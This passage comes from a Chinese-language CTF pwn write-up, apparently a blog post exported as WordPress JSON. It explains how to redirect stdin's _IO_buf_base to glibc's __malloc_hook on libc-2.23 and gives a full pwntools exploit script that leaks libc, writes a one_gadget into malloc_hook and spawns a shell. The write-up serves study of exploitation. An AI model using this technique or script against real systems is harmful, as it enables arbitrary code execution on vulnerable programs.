![\"\"](\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\")
<\/div><\/figure>\n\n\n\n
\u5b83\u7684\u5730\u5740\u5f88\u7279\u6b8a\uff0c\u4ee5963\u7ed3\u5c3e\uff0c\u800c\u7279\u6b8a\u4e4b\u5904\u5c31\u5728\u4e8e\u5730\u5740900\u6b63\u597d\u5728\u4ed6\u7684\u4e0a\u65b9\u4e0d\u8fdc\u5904\uff0c\u6839\u636e\u7ed3\u6784\u4f53\u6211\u4eec\u53ef\u4ee5\u77e5\u9053\u5b83\u5bf9\u5e94\u7684\u662fIO_write_base\uff08\u672c\u9898\u4e2d\u4e0d\u91cd\u8981\uff09,\u4e5f\u5c31\u662f\u8bf4\uff0c\u5982\u679c\u6211\u4eec\u8ba9\u8fd9\u4e2a\u4efb\u610f\u5199\u6f0f\u6d1e\u5199\u5728IO_buf_base\u7684\u4f4d\u7f6e\uff0c\u90a3\u4e48\u4e0b\u4e00\u6b21\u8f93\u5165\u7f13\u51b2\u533a\u5c31\u53d8\u6210\u4e86900\u5f00\u59cb\u7684\u4f4d\u7f6e\uff0c\u800c\u8fd9\u4e2a\u4f4d\u7f6e\u7ecf\u8fc7\u4e00\u5b9a\u7684\u8f93\u5165\u6784\u9020\uff0c\u6070\u597d\u53ef\u4ee5\u8986\u76d6IO_buf_base\u7684\u503c\u4e3amallochook\u7684\u5730\u5740\uff0c\u90a3\u4e48\u5728\u4e0b\u4e00\u6b21\u8f93\u5165\u7684\u65f6\u5019\uff0c\u5c31\u662f\u5f80mallochook\u91cc\u8f93\u5165\u4e86\u3002<\/p>\n\n\n\n
\u53ea\u4e0d\u8fc7\uff0c\u8fd9\u91cc\u8981\u6ce8\u610f\u7684\u662f\uff0c\u7ecf\u8fc7\u4e0a\u9762\u4e00\u4e9bpayload\u7684\u53d1\u9001\uff0c\u6b64\u65f6\u7684read_ptr\u4e0d\u7b49\u4e8eread_end\uff0c\u4e5f\u5c31\u610f\u5473\u7740\u6b64\u65f6\u65e0\u6cd5\u4ece\u8f93\u5165\u8bfb\u53d6\u4efb\u4f55\u4e1c\u897f\uff08\u5982\u679c\u4f60\u542c\u4e86\u6211\u7684\u5efa\u8bae\u628a\u6211\u63a8\u8350\u4f60\u8bfb\u7684\u524d\u7f6e\u6587\u7ae0\u8bfb\u5b8c\u4e86\uff0c\u90a3\u4f60\u5e94\u8be5\u80fd\u7406\u89e3\u6211\u5728\u8bf4\u4ec0\u4e48\uff09,\u6b64\u65f6getc\u51fd\u6570\u53d8\u53d1\u6325\u4e86\u5b83\u7684\u4f5c\u7528\uff0c_IO_getc\u51fd\u6570\u672c\u8d28\u4e0a\u8c03\u7528\u4e86getc\u51fd\u6570\uff0c\u5176\u4f5c\u7528\u662f\u4f7f\u5f97read_ptr\u6307\u9488\u52a01\uff0c\u901a\u8fc7\u8c03\u8bd5\uff0c\u6211\u4eec\u53d1\u73b0\u6b64\u65f6\u7684read_ptr\u548cread_end\u4e4b\u95f4\u76f8\u5dee0x26<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u56e0\u6b64\u6211\u4eec\u9996\u5148\u8981\u5229\u75280x26\u6b21getc\uff0c\u4f7fread_ptr\u6307\u9488\u52a00x26\uff0c\u5728\u8f93\u5165\u4e00\u6b21\u6570\u636e\uff0c\u4f7f\u7cfb\u7edf\u8c03\u7528underflow\u51fd\u6570\uff0c\u800c\u8be5\u51fd\u6570\u6b63\u662f\u5b9e\u73b0\u4e86\u5237\u65b0read_ptr\u7684\u51fd\u6570<\/p>\n\n\n\n<\/div><\/figure>\n\n\n\n
\u56e0\u6b64\uff0c\u5f53scanf\u9047\u5230\u4e0d\u53ef\u89c1\u5b57\u7b26\u7684\u65f6\u5019\uff0c\u4f1a\u8df3\u8fc7\u8be5\u5b57\u7b26\uff0c\u5e76\u8fd4\u56de0\uff0c\u63a5\u7740\u6267\u884cgetc\u7684\u65f6\u5019\u4fbf\u53ef\u4ee5\u5237\u65b0\u7f13\u51b2\u533a\uff0c\u4e0b\u4e00\u6b21\u8f93\u5165\u5c31\u53ef\u4ee5\u5728mallochook\u8f93\u5165\u4e86\uff0c\u56e0\u6b64\u603b\u5171\u8981\u53d1\u90010x27=39\u6b21\u65e0\u5173payload\uff0c\u4ee3\u7801\u5982\u4e0b<\/p>\n\n\n\n
p.sendlineafter(b'please input the size to trigger stackoverflow: ',str(0x5c5908))\np.sendlineafter(b'please input the size to trigger stackoverflow: ',str(0x200000))\np.sendlineafter(b'padding and ropchain: ',b'a')\np.sendafter(b'please input the size to trigger stackoverflow: ',b's'*0x18+p64(malloc_hook)+p64(malloc_hook+0x50))\np.sendlineafter(b'padding and ropchain: ',b'a')\n#\u5148\u628aIO_buf_base\u6539\u6210mallochook\nfor i in range(39):\n p.sendafter(b\"please input the size to trigger stackoverflow: \",b'\\x00')\n#\u8c03\u6574read_ptr=read_end\uff0c\u4e0b\u4e00\u6b21\u8f93\u5165\u5230mallochook<\/code><\/pre>\n\n\n\n\u8865\u5145\u4e00\u70b9\uff1a\u5728\u5f53\u524d\u7f13\u51b2\u533a\u6709\u4e1c\u897f\u7684\u524d\u63d0\u4e0b\uff0cscanf\u662f\u4e0d\u4f1a\u8bfb\u53d6\u8f93\u5165\u6570\u636e\u7684\uff0c\u800c\u662f\u4f1a\u4f18\u5148\u8bfb\u53d6\u7f13\u51b2\u533a\u7684\u6570\u636e\uff0c\u6b64\u65f6\u8f93\u5165\u7684\u4e00\u5207\u6570\u636e\u90fd\u662f\u65e0\u6548\u7684\uff0c\u53ea\u6709\u5f53\u7f13\u51b2\u533a\u7528\u5149\uff0c\u5373read_ptr=read_end\u7684\u65f6\u5019\uff0c\u7cfb\u7edf\u624d\u4f1a\u8c03\u7528read\u51fd\u6570\u4ece\u8f93\u5165\u8bfb\u6570\u636e\u5230\u8f93\u5165\u7f13\u51b2\u533a\uff0c\u5728\u6b64\u4e4b\u524d\u53d1\u9001\u7684\u4e00\u5207\u6570\u636e\u90fd\u6ca1\u6709\u7528\uff0c\u800c\u5728\u672c\u9898\u4e2d\uff0c\u7531\u4e8e\u5148\u524d\u7ed9\u7f13\u51b2\u533a\u91cc\u53d1\u9001\u7684\u6570\u636e\u90fd\u662f\u4e00\u4e9b\u82f1\u6587\u5b57\u6bcd\u6216\u662f\u4e0d\u53ef\u89c1\u5b57\u7b26\uff0c\u6240\u4ee5scanf\u9047\u5230\u4ed6\u4eec\u5e76\u4e0d\u4f1a\u4f7fIO_read_ptr+1\uff0c\u56e0\u6b64\u624d\u9700\u8981\u6709getc\u51fd\u6570\u3002\u7ecf\u8fc7\u8c03\u8bd5\u4e5f\u786e\u5b9e\u8bc1\u5b9e\u4e86\u65e0\u8bba\u65e0\u5173payload\u7684\u5f62\u5f0f\u5982\u4f55\uff0c\u6700\u540e\u90fd\u80fd\u6253\u901a<\/p>\n\n\n\n
<\/span>\u5b8c\u6574\u4ee3\u7801<\/span><\/h2>\n\n\n\n\u5b8c\u6574payload\u5982\u4e0b\uff1a<\/p>\n\n\n\n
from pwn import *\ncontext.arch = 'amd64'\ncontext.log_level = 'debug'\np = process('.\/stackoverflow')\nlibc = ELF('.\/libc-2.23.so')\n# p=remote('node5.buuoj.cn',28485)\n\np.sendlineafter(b'leave your name, bro:',b'a'*31)\np.recv(40)\niostoutaddr=p.recv(6).ljust(8,b'\\x00')\niostoutaddr=u64(iostoutaddr)\nprint('iostdout:',hex(iostoutaddr))\nlibc_base=iostoutaddr-libc.symbols['_IO_2_1_stdout_']\nmalloc_hook=libc_base+libc.symbols['__malloc_hook']\nonegadget=0xf1147+libc_base\nprint('libc_base:',hex(libc_base))\np.sendlineafter(b'please input the size to trigger stackoverflow: ',str(0x5c5908))\np.sendlineafter(b'please input the size to trigger stackoverflow: ',str(0x200000))\np.sendlineafter(b'padding and ropchain: ',b'a')\np.sendafter(b'please input the size to trigger stackoverflow: ',b's'*0x18+p64(malloc_hook)+p64(malloc_hook+0x50))\np.sendlineafter(b'padding and ropchain: ',b'a')\n#\u5148\u628aIO_buf_base\u6539\u6210mallochook\nfor i in range(39):\n p.sendafter(b\"please input the size to trigger stackoverflow: \",b'hello')\n#\u8c03\u6574read_ptr=read_end\uff0c\u4e0b\u4e00\u6b21\u8f93\u5165\u5230mallochook\n# attach(p)\n# pause()\np.sendlineafter(b\"please input the size to trigger stackoverflow: \",p64(onegadget))\np.interactive()<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"\u8be5\u9898\u5728buu\u4e0a\u53ef\u641c\u5230\u539f\u9898 \u9898\u76ee\u5206\u6790 main\u51fd\u6570\u5f88\u7b80\u5355\uff0c\u9996\u5148\u5728reprintname\u51fd\u6570\u91cc\u4f1a\u8f93\u5165name\uff0c\u63a5\u7740 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12],"tags":[20],"class_list":["post-150","post","type-post","status-publish","format-standard","hentry","category-pwn","tag-stdin"],"_links":{"self":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/150","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/comments?post=150"}],"version-history":[{"count":1,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/150\/revisions"}],"predecessor-version":[{"id":167,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/posts\/150\/revisions\/167"}],"wp:attachment":[{"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/media?parent=150"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/categories?post=150"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/39.104.51.85\/index.php\/wp-json\/wp\/v2\/tags?post=150"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}